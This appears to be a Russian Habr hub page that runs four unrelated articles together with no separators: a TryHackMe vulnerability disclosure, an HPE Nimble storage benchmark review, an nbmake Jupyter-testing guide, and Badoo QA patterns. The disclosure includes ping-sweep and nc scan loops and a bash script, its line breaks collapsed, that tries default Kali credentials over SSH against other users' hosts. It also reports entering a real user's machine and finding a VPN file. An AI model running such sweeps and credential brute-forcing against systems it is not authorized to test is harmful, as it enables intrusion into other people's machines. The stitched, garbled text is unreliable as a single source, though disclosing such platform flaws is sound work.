Тестирование it-систем

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;

2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);

3. Автору оригинала очень лень переписывать статью на русском языке.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип х*як, х*як, и в продакшн.

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку Basic Pentesting.

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done

А вот и первые претенденты. CURLлуем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bashfor ip in {2..255}do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)if [ ! -z $ip_check ]thenecho -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";nc -vz -w 2 $ip_check 22 > log.txt 2>&1;ssh_refused=$(grep -o "refused" log.txt)ssh_timeout=$(grep -o "timed" log.txt)if [ ! -z $ssh_refused ]thenecho -e "\e[01;31mSSH is closed. Going further. \e[00m";echo " ";elif [ ! -z $ssh_timeout ]thenecho -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";echo " ";elseecho -e "\e[01;32mSSH is open. Trying to connect... \e[00m";sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;echo " ";fifidonerm log.txt;echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

• kali:kali

• root:toor

• user:toor

А вот и первый БЕЗОПАСНИК с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке

Пробуем sudo

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот уровне защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

1. Включить вашу рабочую машину в ботнет;

2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;

3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;

4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);

5. Всё, что пришло вам в голову к этому моменту

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня порадовала реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Хочется пролить свет на интересную линейку систем хранения данных HPE Nimble Storage Adaptive Flash и попытаться раскрыть вопрос почему маркетологи решили его назвать Adaptive Flash, а не более традиционно - Hybrid Flash. Судя по поиску, существует не так много обзоров и статей, посвященных Nimble, поэтому надеюсь, что этот материал будет полезен интересующимся данной темой.

В мое распоряжение попал массив с флагманскими контроллерами - HF60. Это СХД 5-го поколения (Nimble Gen5), но уже по состоянию на 04.05.2021 компания HPE анонсировала (пока только AllFlash) 6-е поколение (Nimble Gen6), которое будет называться Allerta 6000. Adaptive Flash 6-го поколения - анонс ожидается летом 2021. Так что пока наш подопытный последнего (актуального) поколения.

Итак, чем же интересен HPE Nimble Adaptive Flash?

Давайте начнем издалека. Компания Nimble Storage берет свое начало в 2008 году и уже в 2014 наделала много шуму, объявив о революционном достижении (на тот момент) доступность систем хранения данных превысила 99,999%. В 2016 году этот показатель уже составлял 99,999928%. Традиционно, столь успешные стартапы поглощаются более крупными компаниями. Так и случилось с Nimble - в 2017 году компания влилась в ряды Hewlett Packard Enterprise. За счет чего им удалось получить такие цифры доступности (причем это не лабораторные, а реальные данные)? Если совсем коротко: архитектура и надстройка в виде аналитической платформы InfoSight. Давайте остановимся на каждом пункте чуть подробнее.

Архитектура

Если Вам лень читать, можете посмотреть видео (на англ.):

СХД Nimble в своей основе использует архитектуру CASL (Cache Accelerated Sequential Layout). В основу архитектуры заложено:

1. Active/Standby контроллеры. Большинство других систем с двумя контроллерами Active/Active демонстрируют производительность с нулевым запасом мощности, поэтому, если один из контроллеров недоступен - вы уведёте половину скорости...

2. Функционал редупликации/компрессии/шифрования в режиме онлайн (на лету). Подробнее как это работает ниже в описании операций чтения и записи.

3. RAID Tripple Parity+ с фиксированным стартовым набором дисков 21шт HDD + 6шт SSD. Массив выдерживает выход из строя 3 любых дисков из одной RAID группы. Но лучшее качество Triple+ RAID не в том, что он защищает от потери любых 3 дисков. Крутая часть это +. Это позволяет системе не иметь проблем с целостностью данных, даже если на каждом отдельном диске в системе возникают ошибки параллельного чтения секторов и три диска были потеряны. Это уровень устойчивости к коррелированным по времени ошибкам, который ни один другой массив в мире даже близко не может предложить.

4. Защита данных через каскадные многоступенчатые контрольные суммы.

5. Память с защитой по питанию NVRAM.

6. SSD кэш на чтение (в случае с Adaptive Flash). Важно отметить, что RAID для SSD не используется, т. к. задача кэша дать максимальную скорость. Насчет надежности можно не беспокоиться, поскольку данные в кэш копируются с защищенных RAID-ом TripleParity+ HDD (об этом ниже).

Рассмотрим алгоритмы чтения и записи

Распишем процесс записи:

1. Запись от разных приложений разными блоками;

2. NimbleOS принимает запись на NVDIMM активного контроллера;

3. NimbleOS зеркалирует NVDIMM активного контроллера в NVDIMM Standby контроллера;

4. NimbleOS подтверждает запись хосту;

5. Блоки копируются в DRAM, где и происходит магия архитектуры CASL, а именно:

   a. Дедупликация с переменным блоком;

   b. Сжатие с переменным блоком;

   c. Блоки собираются в страйпы размером 10 Мбайт;

   d. Страйпы последовательно пишутся на HDD;

6. Достойные кэша блоки или блоки из Pinned томов копируются на SSD кэш + блоки индексируются (индекс пишется на SSD и HDD в фоне). Есть 3 настройки кеширования которые можно выставить на каждый том:

   Default данные кэшируются в автоматическом режиме по выбору NimbleOS;

   Pinned настройка, которая по умолчанию копирует все данные тома на SSD диски и мы получаем All Flash на чтение;

   OFF - выключенное кеширование, т. е. SSD диски не задействованы вообще. Полезно для томов, где нет необходимости ускорять чтение;

Какие преимущества имеет такая запись?

Во-первых: количество операций Random write в бэкенде системы минимизировано. По сути, большинство операций происходит в оперативной памяти кэша контроллеров, компрессия выполняется после дедупликации, таким образом число операций ввода-вывода на дисках SSD/HDD сведено к минимуму.

Во-вторых: последовательная запись помогает избежать задержек на механических дисках. Иными словами, благодаря такой архитектуре используется максимум выгоды от обычных HDD дисков.

Рассмотрим, что происходит при чтении:

1. Запрашиваем блок в NVDIMM. Если данные там отдаем хосту;

2. Если блока нет, читаем из DRAM;

3. Если блока нет, читаем с SSD:

   a. Если блок есть, проверяем контрольную сумму, разжимаем;

   b. Регидрируем и отдаем хосту;

4. Если блока нет, читаем с HDD, блок ищем через индекс;

   a. Если блок есть, проверяем контрольную сумму, разжимаем;

   b. Регидрируем и отдаем хосту;

5. Если блок достоин кэша, копируем на SSD;

Какие преимущества дает такой алгоритм чтения?

Во-первых: скорость ограничена не производительностью дисков, а скоростью памяти NVDIMM (которая существенно быстрее SSD дисков) т. е. контроллерами.

Во-вторых: согласно живой статистике, массив больше 95% попадает в кэш. Иными словами, имея в запасе всего 1020% SSD дисков, массив будет обеспечивать скорость All Flash больше 95% времени. Важно отметить, что это не означает что оставшиеся 5% времени данные будут читаться медленно с механических дисков. Дисков в стартовом наборе - 21 шт., при чтении их скорость суммируется. Будет иметь место то, что при чтении с HDD дисков задержка будет немного больше чем 1мс. Но не забываем, что этого легко избежать настройкой кэширования индивидуально для каждого тома.

Резюмируя по архитектуре:

1. Данные защищены от выхода из строя 3-х любых накопителей;

2. Данные дедуплицируются и сжимаются в памяти до записи на диски без существенного падения производительности;

3. Данные пишутся быстро: благодаря алгоритму архитектуры CASL;

4. Данные читаются быстро: кэшируются на SSD диски для ускорения чтения и здесь нет никакого тирринга данных как в традиционных гибридах;

5. Данные можно дополнительно защищать шифрованием;

6. Гибкие настройки. Можно вкл/выкл индивидуально для каждого тома: дедуп; компрессия; шифрование; кеширование; ограничение по IOPS или пропускной способности (или того и другого) и прочее;

7. Гибкие возможности масштабирования емкости/производительности:

• возможность масштабировать емкость (добавлять дисковые полки);

• емкость и производительность (добавлять еще один массив в кластер, до 4 шт);

• производительность (заменить контроллеры на более производительные).

InfoSight

Тезисы:

• HPE InfoSight это передовая в отрасли платформа облачной аналитики InfoSight. Передовая - поскольку начала работать гораздо раньше, чем у других вендоров. А здесь важна наработка системы по времени. Чем дольше она работает, тем больше данных собирает, тем больше проблем может предотвратить. Об этом ниже.

• Доступность СХД HPE Nimble 99,9999%, достигается благодаря применению InfoSight.

• Миссия HPE InfoSight: сохранять маниакальный фокус на предоставлении заказчику такой поддержки, чтобы все завидовали!

  

Данная технология позволяет СХД непрерывно в автоматическом режиме собирать большое количество данных как о собственном состоянии, так и об окружающей виртуальной инфраструктуре (подключенные сети, серверы, платформы виртуализации), это важно, поскольку более половины сервисных инцидентов, как правило, не связаны с СХД. Затем эти показатели отправляются в облачную систему, где с помощью сложных аналитических алгоритмов выявляются текущие проблемы и делаются прогнозы о будущем состоянии инфраструктуры. На основе данных выводов предоставляются автоматические исправления и рекомендации для администратора СХД.

Например, при обнаружении у одного из заказчиков проблемы в совместимости микропрограммы контроллеров СХД с приложениями гипервизора, система автоматически заблокирует возможность установки данной версии прошивки на СХД у других заказчиков, а тем у кого уже установлена схожая конфигурация - будет предложен апдейт системы. Такой подход помогает предотвращать сбои до их возникновения, причем во многих случаях без вмешательства человека.

По данным HPE, при использовании InfoSight 86% проблем разрешаются без участия ИТ-службы. Сюда входят инциденты как с самой СХД, так и с окружающей инфраструктурой.

InfoSight позволяет значительно сократить время на поиск проблемных узлов инфраструктуры в случае деградации производительности. Система в удобном графическом виде показывает текущее время отклика и статистику задержек за определенный период по проблемной ВМ не только относительно самой СХД, но и сети передачи данных SAN, а также приложений гипервизора. Отклонение каких-либо показателей в кратчайшие сроки позволит определить узкое место инфраструктуры. Не нужно переключаться между несколькими системами мониторинга, все показатели доступны в едином портале, так как InfoSight интегрируется с VMware VCenter. В процессе диагностики собирается только служебная информация, собственные данные заказчика не затрагиваются. Информация передается по защищенному SSL каналу.

Некоторые примеры передаваемых данных:

• Серийный номер массива.

• Базовая информация о работоспособности (health check).

• Системные журналы событий.

• Параметры настроек системы.

• Статистика работы системы.

Самое вкусное на десерт - тестирование

Тестовая конфигурация:

• СХД Nimble HPE Nimble Storage Adaptive Flash HF60 / 21x2TB HDD / 5.76TB (6x960GB) SSD Cache / 4x16GB FC на каждый контроллер;

• Хост 1: Сервер HPE DL160 Gen10 / 1x Xeon 4210R / 6x16GB DDR4-R / 2xSN1100Q 16Gb 2p FC / 2x500W;

• Хост 2: Сервер HPE DL325 Gen10 / 1x EPYC 7551P / 8x16GB DDR4-R / 2xSN1100Q 16Gb 2p FC / 2x500W;

• Подключение серверов напрямую к СХД, т. к. под рукой не было коммутаторов Fibre Channel. Поэтому в серверах по 2шт двухпортовых карточки, чтоб загрузить все 4 порта на каждом контроллере СХД;

• VMware vSphere 7;

• Тестирование с помощью HCIbench 2.5.3;

Для начала нам было интересно сравнить наш Adaptive Flash HF60 с протестированным All Flash AF40:

Нагружаем наш массив аналогичными параметрами и в конце сводим результаты.

Первый тест: 384 потока/100%, получаем результаты:

Второй тест: 192 потока/100% чтение, получаем результаты:

Третий тест: 192 потока/100% запись, получаем результаты:

Сравниваем результаты Adaptive Flash HF60 vs All Flash AF40:

Пару слов о полученных результатах

Получаем то, что СХД с медленными 7,2k дисками дает большую производительность и меньшое время отклика чем All Flash массив. Как так? Все дело в контроллерах и архитектуре. В нашем случает стоят более производительные контроллеры и за счет магии архитектуры CASL гибриды Adaptive Flash показывают производительности сопоставимую с All Flash (контролеры используются одинаковые HF20=AF20, HF40=AF40, HF60=AF60, разница HF и AF только в конфигурации дисках). Причем скорость и задержки HF60 выигрывает при записи, где в Adaptive Flash никак не задействованы SSD.

За то время что у нас был массив мы смогли сравнить еще с одной конфигурацией All Flash XS5226D СХД QSAN. К нам попал такой результат тестирования:

Единственное, что мы не смогли повторить 464 потока при 32-х виртуалках. Поэтому сделали 448 и 480.

448/480 одновременных потоков серьезная нагрузка. Можно отметить, что здесь массив вполне играет наравне с дешевым All Flash. У QSAN очень много непонятных пиков и провалов по задержке. Поэтому Nimble существенно выигрывает по 95-му перцентилю.

Эксперименты с дудепликацией и компрессией

При 100% записи производительность проседает некритично ~ 20%. При 100% чтении почти ничего не меняется, что вполне логично. Гораздо интереснее 70/30. При наличии нулевых блоков операции чтения ускоряются при включенной компрессии.

Итого: почему его назвали Adaptive Flash а не Hybrid Flash?

Чтобы не путать их с традиционными гибридными массивами в основе которых в основном лежит тирринг данных. Тирринг в свое время был хорошей технологией, но сейчас он требует внимания администратора, правильную настройку и многое другое, что отнимает время. А здесь просто нужно выбрать емкость, проставить политики для томов и погнали. Остальное массив сделает сам: подскажет, где что не так, где шумные виртуалки, где в сети большие задержки, откроет и закроет сервисный кейс и многое другое из того, что экономит время.

Могу еще добавить, что наши инженеры скептически относились к данному массиву до тестирования. После первых предварительных результатов (~94k IOPS и задержки 5мс) на 100% чтение Возник спор, т. к. 94k полученных и 300k теоретических сильно отличались. Инженеры стояли на том, что невозможно получить больше на дисках 7200. После проверки конфигурации оказалось, что для тестовых машин было выключено кеширования и чтение не ускорялось вообще. После правильной настройки все взлетело. И как только они не пытались убить скорость массива не получалось (в рамках разумного естественно). В итоге лишь в условиях личного опыта у них поменялось мнение. К чему это? К тому что очень полезно брать железяку на тест, когда ее предлагают (да еще и бесплатно).

Файлы блокнотов Jupyter, в смысле количества одного из самых быстрорастущих типов файлов на Github, предоставляют простой интерфейс для итераций при решении визуальных задач, будь то анализ наборов данных или написание документов с большим объёмом кода. Однако популярность блокнотов Jupyter сопровождается проблемами: в репозитории накапливается большое количество файлов ipynb, многие из которых находятся в нерабочем состоянии. В результате другим людям трудно повторно запустить или даже понять ваши блокноты. В этом руководстве рассказывается, как для автоматизации сквозного (end-to-end) тестирования блокнотов можно воспользоваться плагином pytest nbmake.

К старту флагманского курса о Data Science области, в которой блокноты Jupyter незаменимы делимся переводом статьи из блога CI Semaphore о том, как при помощи Semaphore проверить, что ваши блокноты Jupyter находятся в рабочем состоянии и для этого больше не запускать блокноты вручную.

Предварительные требования

Это руководство предполагает владение основными навыками тестирования проектов на Python, о них рассказывается в статьеНепрерывная интеграция и развёртывание на Python с нуля. Прежде чем продолжить, пожалуйста, убедитесь, что вы знакомы с основами и на вашем компьютере установлен набор инструментов Python 3, таких как pip + virtualenv.

Демонстрационное приложение

Обычно проекты Python содержат папки с файлами блокнотов с расширением .ipynb, это может быть:

• код доказательства концепции;

• документация с примерами применения API;

• длинный научный туториал.

В этой статье мы разберём, как автоматизировать простые сквозные тесты некоторых блокнотов, содержащих упражнения на Python. Благодарим pytudes за предоставленные для нашего примера материалы; воспользуемся этим примером проекта, не стесняйтесь делать форк и клонировать его с GitHub:

Внутри репозитория вы найдёте содержащую блокноты папку, она называется ipynb. Установите зависимости из requirements.txt, а при необходимости сначала создайте виртуальную среду.

Прежде чем перейти к следующему шагу, посмотрите, можно ли запустить эти блокноты в вашем редакторе.

Локальное тестирование блокнота

Вполне вероятно, что до этого момента при тестировании вы запускали блокноты вручную через пользовательский интерфейс Jupyter Lab или аналогичный клиент. Однако этот подход отнимает много времени и подвержен ошибкам.

Давайте начнём автоматизировать этот процесс в вашей среде разработки; первым шагом в автоматизации станет nbmake. Nbmake это пакет python и плагин к pytest. Он разработан автором этого руководства и используется известными научными организациями, такими как Dask, Quansight и Kitware. Вы можете установить nbmake с помощью pip:

pip install nbmake==0.5

Перед первым тестированием блокнотов давайте проверим, всё ли правильно настроено, указав pytest просто собрать (но не запускать) все тест-кейсы для блокнотов.

 pytest --collect-only --nbmake "./ipynb" ================================ test session starts =================================platform darwin -- Python 3.8.2, pytest-6.2.4, py-1.10.0, pluggy-0.13.1rootdir: /Users/a/git/alex-treebeard/semaphore-demo-python-jupyter-notebooksplugins: nbmake-0.5collected 3 items           ============================= 3 tests collected in 0.01s =============================

Мы видим, что pytest собрал несколько элементов.

Примечание: если вы получаете сообщение unrecognized arguments: --nbmake, оно означает, что плагин nbmake не установлен. Такое может произойти, если ваш CLI вызывает двоичный файл pytest за пределами текущей виртуальной среды. Проверьте, где находится ваш двоичный файл pytest, с помощью команды which pytest.

Теперь, когда мы проверили, что nbmake и pytest видят ваши блокноты и работают вместе, давайте выполним настоящие тесты:

 pytest --nbmake "./ipynb"================================ test session starts =================================platform darwin -- Python 3.8.2, pytest-6.2.4, py-1.10.0, pluggy-0.13.1rootdir: /Users/a/git/alex-treebeard/semaphore-demo-python-jupyter-notebooksplugins: nbmake-0.5collected 3 items                                                                    ipynb/Boggle.ipynb .                                                           [ 33%]ipynb/Cheryl-and-Eve.ipynb .                                                   [ 66%]ipynb/Differentiation.ipynb .                                                  [100%]================================= 3 passed in 37.65s =================================

Отлично, блокноты прошли тесты. Однако это простые блокноты в демонстрационном проекте. Очень маловероятно, что все ваши блокноты пройдут тесты с первого раза, поэтому давайте рассмотрим некоторые подходы к запуску сложных проектов.

Игнорирование ожидаемых ошибок в блокноте

Не все блокноты можно легко протестировать автоматически. Некоторые из них будут содержать ячейки, требующие от пользователя ввода данных, или блокноты, которые для демонстрации некоторой функциональности вызывают необработанные исключения.

К счастью, чтобы указать nbmake, что такие блокноты нужно игнорировать и продолжать работу после возникновения ошибок, в метаданные нашего блокнота мы можем поместить директивы. Возможно, вы раньше не использовали метаданные блокнота, поэтому самое время упомянуть, что, несмотря на их расширение ipynb, блокноты это просто JSON-файлы. Чтобы добиться от них нового поведения, добавьте новые поля:

• откройте файл .ipynb в простом текстовом редакторе, например Sublime;

• в метаданных блокнота найдите поле kernelspec;

• добавьте объект execution в качестве родственного элемента kernelspec.

Должно получиться что-то вроде этого:

{  "cells": [ ... ],  "metadata": {    "kernelspec": { ... },    "execution": {      "allow_errors": true,      "timeout": 300    }  }}

Теперь можно перезапустить блокнот, чтобы проверить, что JSON валиден, а ошибки игнорируются.

Ускорение тестов с помощью pytest-xdist

В крупных проектах может быть много блокнотов, каждый из которых требует много времени на установку пакетов, извлечение данных из сети и выполнение анализа. Если ваши тесты занимают более нескольких секунд, стоит проверить, как на время выполнения повлияет распараллеливание. Сделать это можно с помощью другого плагина pytest pytest-xdist. Сначала установите пакет xdist. Это похожий на nbmake плагин pytest, он добавит новые параметры командной строки:

pip install pytest-xdist

Запустите команду ниже с количеством рабочих процессов, равным auto:

pytest --nbmake -n=auto "./ipynb"

Запись выполненных блокнотов обратно в репозиторий

По умолчанию тесты доступны только для чтения, то есть ваш файл ipynb на диске остаётся неизменным. Обычно это хорошее значение по умолчанию, потому что во время выполнения блокнота ваш редактор может быть открыт. Однако в некоторых ситуациях может потребоваться сохранить результаты теста на диске. Например, если вам нужно:

• отладить неработающие блокноты путём просмотра выходных данных;

• создать коммит в вашем репозитории с блокнотами в воспроизводимом состоянии;

• встроить выполненные блокноты в сайт с документацией при помощи nbsphinx или jupyter book.

Мы можем направить nbmake на сохранение выполненных блокнотов на диск с помощью флага overwrite:

pytest --nbmake --overwrite "./ipynb"

Исключение блокнотов из тестов

Некоторые блокноты может быть трудно протестировать автоматически из-за необходимости ввода данных через stdin самим пользователем или длительного времени запуска. Чтобы отменить выбор, воспользуйтесь флагом игнорирования pytest:

pytest --nbmake docs --overwrite --ignore=docs/landing-page.ipynb

Примечание: это не сработает, если вы выбираете все блокноты с помощью шаблона поиска, например (*ipynb), вручную переопределяющего флаги игнорирования pytest.

Автоматизация тестирования блокнотов на Semaphore CI

С помощью вышеописанных методов можно создать автоматизированный процесс тестирования с использованием непрерывной интеграции (CI) Semaphore. Ключ здесь прагматизм: нужно найти способ протестировать большую часть ваших блокнотов и проигнорировать сложные блокноты; это хороший шаг к улучшению качества.

Начните с создания содержащего ваши блокноты проекта для репозитория. Выберите Choose repository:

Затем подключите Semaphore к репозиторию с вашими блокнотами:

Пока пропустите Add People, чтобы мы могли настроить рабочий процесс с нуля (даже если вы работаете с деморепозиторием). Semaphore предоставляет некоторую начальную конфигурацию, настроим её перед запуском:

Создайте простой рабочий процесс в один блок; ниже о процессе в деталях:

1. Названием блока будет Test.

2. Названием задачи Test Notebooks.

3. В поле Commands введите команды ниже:

checkoutcache restorepip install -r requirements.txtpip install nbmake pytest-xdistcache storepytest --nbmake -n=auto ./ipynb

Чтобы лучше понять происходящее, давайте разберёмся, что делает каждая команда:

1. checkout клонирует репозиторий с GitHub;

2. cache restore загружает зависимости Python из кэша Semaphore. Это ускоряет процесс установки;

3. pip устанавливает зависимости и инструменты;

4. cache store сохраняет загруженные зависимости обратно в кэш;

5. pytest запускает тесты nbmake.

Теперь мы можем запустить рабочий процесс. Не беспокойтесь, если конвейер выйдет из строя: далее мы рассмотрим распространённые проблемы.

Конвейер должен заработать сразу же:

Устранение некоторых распространённых ошибок

Добавление отсутствующего ядра Jupyter в среду CI

Если вы используете имя ядра, отличное от имени по умолчанию python3, то при выполнении ноутбуков в свежей среде CI увидите сообщение об ошибке: Error - No such kernel: 'mycustomkernel'. Чтобы установить пользовательское ядро, воспользуйтесь командой ipykernel:

python -m ipykernel install --user --name mycustomkernel

Если в своих блокнотах вы работаете с другим языком, например С++, ваш процесс установки ядра может быть другим.

Добавление недостающих секретов в среду CI

В некоторых случаях ваш блокнот получает данные от API, требующих токена или аутентифицированного CLI. Всё, что работает в вашей среде разработки, должно работать и на Semaphore. Чтобы увидеть, как настроить секреты, сначала посмотрите этот пост. Как только вы установили секреты в Semaphore, чтобы прочитать их из переменной среды в средах CI, вам может потребоваться настроить блокнот.

Добавление недостающих зависимостей в среду CI

Стек Data Science на Python часто требует установки собственных библиотек. Если вы работаете с CONDA, вполне вероятно, что они будут присутствовать в вашем нормальном процессе установки. Если же вы используете стандартные библиотеки Python, их присутствие немного менее вероятно.

Если вы пытаетесь установить необходимые вам библиотеки, посмотрите на статью о создании образа docker в CI. С ним тестирование упрощается, и по сравнению со стандартными средами Semaphore этот подход стабильнее во времени.

Пожалуйста, помните совет о прагматизме; 90 % полезности часто можно достичь за 10 % времени. Следование совету может привести к компромиссам, таким как игнорирование блокнотов, на которых запускаются требующие GPU модели ML.

Заключение

В этом руководстве показано, как можно автоматизировать тестирование блокнотов Jupyter, чтобы поддерживать их воспроизводимость. Блокноты оказались эффективным инструментом для построения технических нарративов. Однако из-за новизны некоторые команды разработчиков программного обеспечения исключают их использование до тех пор, пока не появятся более чёткие процессы для тестирования, ревью и повторного использования их содержимого.

Прежде чем технологии блокнотов органично впишутся в проекты ПО, предстоит пройти определённый путь, но сейчас самое время начать его. Возможно, вы захотите изучить некоторые из следующих пунктов дальнейшей работы, чтобы научиться лучше работать с блокнотами:

• для удаления громоздких выходных данных блокнота перед коммитом запустите pre-commit и nbstripout;

• для компиляции ваших блокнотов в красивый сайт с документацией используйте jupyter book;

• для просмотра блокнотов в пул-реквестах используйте ReviewNB.

Действительно, процессы в разработке ПО и в научных исследованих всё дальше уходят с локальных компьютеров на арендуемые мощности самого разного рода, в том числе потому, что требуют всё больших ресурсов. То же касается и растущих объёмов данных, работа с которыми преобразилась в несколько смежных, но очень разных областей; среди них центральное место занимает Data Science. Если вам интересна эта сфера, вы можете присмотреться к нашему курсу Data Science, итог которого это 16 проектов, то есть 2-3 года постоянного самостоятельного изучения науки о данных.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

Меня зовут Владислав Романенко, я старший iOS QA Engineer в Badoo и Bumble. Несколько лет назад мы начали активнее использовать автотесты в разработке, но столкнулись с некоторыми трудностями.

Логичный вопрос: почему мы занялись автоматизацией тестирования? Ответ кроется в еженедельном выпуске новых версий наших мобильных приложений. QA-отделу приходится тестировать новые фичи, их интеграцию в сервисы и заниматься регрессионным тестированием. За неделю комплексное регрессионное тестирование нужно проводить как минимум один раз, что довольно утомительно. Автоматизация помогла нам выпускать новые версии быстрее и без потери качества. Подробнее об автоматизации мобильного тестирования в докладе моих коллег.

В разработке проблемы часто решаются с помощью паттернов обобщённых решений для часто возникающих проблем в заданном контексте. То же и с автоматизацией тестирования, есть даже хорошее wiki-описание. В этой статье мы поговорим о паттернах процессов (Process Patterns). Они помогают организовать и улучшить процесс автоматизации тестирования.

Без дальнейших предисловий перейдём к трудностям, с которыми мы боролись, и рекомендациям по их преодолению с помощью тех самых паттернов. Замечу, что это не единственные проблемы, которые у нас были и есть. Но в рамках данной статьи я решил остановиться именно на них.

Паттерн 1. Просьба о помощи (Ask for Help)

Как это часто бывает, мы все имели разный опыт, знания и навыки. На тот момент не все в команде сталкивались с автоматизацией тестирования некоторым пришлось учиться на ходу. Чтобы помочь коллегам из команды QA справиться со сложностями, мы предложили им обратиться за помощью к команде автоматизации. Идея в том, что если ты застреваешь на какой-то проблеме, то не нужно самостоятельно бороться с ней слишком долго, ведь другие уже могли столкнуться с подобным и найти решение. А чтобы автоматизаторов не завалили вопросами, мы решили формализовать этот подход. Прекрасным решением оказался паттерн ASK FOR HELP:

Просите о помощи, а не теряйте время, пытаясь всё сделать самостоятельно.

Ни одна команда не может в любой момент времени обладать всеми необходимыми навыками, и иметь несколько экспертов, к которым можно обратиться при необходимости, то, что нужно.

Но оказалось, что простое следование паттерну может привести к новым проблемам. Команде автоматизации тестирования стали задавать вопросы ещё чаще, чем обычно (например, о настройке окружения). Со временем мы стали замечать, что разные члены команд задают одни и те же вопросы. У автоматизаторов уходило много времени на то, чтобы всем ответить, поскольку даже простой и хорошо сформулированный вопрос требует переключения контекста.

Внутрениий StackOverflow

Стоит отметить, что в нашей вики есть документация и описания решений для большинства распространённых проблем. Возможно, документировать все возможные ошибки и объяснения в вики не лучший подход, но мы считали, что сохранить их в одном месте будет полезно. Так у нас возникла идея создания локального Stack Overflow. Для этого мы воспользовались open source-решением Scoold. Оно предназначено для использования на первой линии обработки запросов и работает как обычная Stack Overflow, только для сотрудников компании. Когда у кого-нибудь возникает проблема, достаточно зайти в наш локальный Stack Overflow, чтобы найти решение или написать вопрос, на который ответит кто-то из специалистов.

Преимущества

• Процесс геймифицируется, поэтому в поиск решений вовлекается больше людей. Мы не стали придумывать разные лычки или звания количество голосов или звёзд ничего не значит и вам не советуем этим увлекаться. Геймификация лишь дополнительный стимул для участников, а не основной фактор.

• Мы тратим меньше времени и сил на решение проблем. Во-первых, они оказываются на виду, поэтому их проще решить. Во-вторых, уменьшается количество перекидываний задачи от одного человека к другому.

• Стало меньше сообщений и веток в чатах, где их трудно отслеживать и искать. Мессенджеры не лучшее место для хранения документации и обращения к ней как к источнику истины. Stack Overflow гораздо удобнее.

